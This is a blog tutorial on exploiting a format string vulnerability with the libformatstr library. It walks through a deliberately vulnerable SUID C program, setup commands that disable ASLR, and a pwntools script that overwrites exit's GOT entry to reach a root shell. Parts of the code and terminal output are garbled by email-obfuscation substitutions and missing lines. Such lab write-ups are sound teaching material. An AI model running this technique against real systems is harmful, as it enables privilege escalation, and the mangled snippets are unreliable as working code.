Simplifying format string exploitation with libformatstr

Written on July 1, 2015

libformatstr is a library created by hellman with the intention of simplifying format string exploitation. The GitHub repository can be found here. It’s been around since 2012 but I haven’t been able to find many tutorials on it. I have seen CTF writeups that use it though, so I decided to take the time to do a short writeup on it for my own reference.

Let’s start with a simple vulnerable binary:

/* compile: gcc -Wno-format-security ex1.c -o ex1 */ 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void win() {

void main(int argc, char *argv[]) {
    char buf[103]; 
    fgets(buf, 103, stdin); 
    buf[strlen(buf)-1] = 0x0; 

You can also download the pre-compiled binary here. Turn off ASLR on the system, make the binary SUID root, and run it using socat:

# echo 0 > /proc/sys/kernel/randomize_va_space
# chown root:root ex1
# chmod 4755 ex1
# socat TCP-LISTEN:5000,reuseaddr,fork EXEC:./ex1

Let’s test the vulnerability:

[email protected]:~$ nc localhost 5000
[email protected]:~$

Great, we’re leaking the stack so we know the vulnerability exists. The first step is to see if we can find our format string on the stack. Traditionally we’d send something like “AAAA.%x.%x.%x.%x” and so on and see if we can find it from the output. libformatstr automates that for us:

#!/usr/bin/env python
from libformatstr import *      # need this for libformatstr
from pwn import *
import sys

bufsiz = 100                    # size of cyclic pattern to send
buf = "" 
r = remote("localhost", 5000)

# PART 1 - getting format string offset
r.send(make_pattern(bufsiz) + "\n")             # send cyclic pattern to server
data = r.recv()                                 # server's response
offset, padding = guess_argnum(data, bufsiz)    # find format string offset and padding"offset : " + str(offset))"padding: " + str(padding))

To find the offset and padding, libformatstr sends a cyclic pattern to the service using make_pattern(). It takes an integer parameter, which is the length of the cyclic pattern to send. In this case I’m sending 100 bytes.

When we receive the output from the service, we can use guess_argnum() to return the offset of our format string, and any padding it might have. guess_argnum() takes the output we’ve received and the length as its parameters. Let’s see it in action:

[email protected]:~$ ./ 
[+] Opening connection to localhost on port 5000: Done
[*] Closed connection to localhost port 5000
[*] offset : 6
[*] padding: 3

According to libformatstr, our format string will be at offset 6 and needs to be padded by 3 bytes. Let’s test it manually:

[email protected]:~$ nc localhost 5000
[email protected]ox32:~$

It worked. We’re looking for “BBBB” and we’ve padded it with three bytes “aaa”. Sure enough at offset 6, we see 0x42424242. libformatstr did the job nicely.

Now that we have the offset and padding, we can move on to exploitation. In this case we want to redirect execution of the binary to the win() function which calls system(“/bin/sh”). To do this we’ll overwrite [email protected] If you’re using the binary I provided, win()’s address is at 0x080484fd, and [email protected] is at 0x0804a01c.

# PART 2 - exploitation
win_addr = 0x080484fd   # gdb ex1 -batch -n -ex "p win"
exit_got = 0x0804a01c   # readelf -r ex1 | grep exit

p = FormatStr(bufsiz)
p[exit_got] = win_addr              # overwrite [email protected] with address of win()
buf += p.payload(offset, padding)   # setup the payload

r = remote("localhost", 5000)
r.send(buf + "\n")                  # send payload to server

r.interactive()                     # get our shell

As you can see, libformatstr makes overwriting [email protected] very easy. No need to calculate how many bytes to write or anything like that. Let’s try it:

[email protected]:~$ ./ 
[+] Opening connection to localhost on port 5000: Done
[*] Closed connection to localhost port 5000
[*] offset : 6
[*] padding: 3
[+] Opening connection to localhost on port 5000: Done
[*] Switching to interactive mode

                                $ id
uid=0(root) gid=0(root) euid=1000(koji) groups=1000(koji),0(root)

Got a root shell, so our exploit worked. We’re not limited to overwriting [email protected] with win()’s address. We could have padded our payload with shellcode and have [email protected] jump to that instead provided NX isn’t enabled on the binary. We could also have had it jump to the start a our ROP chain as well, and so on.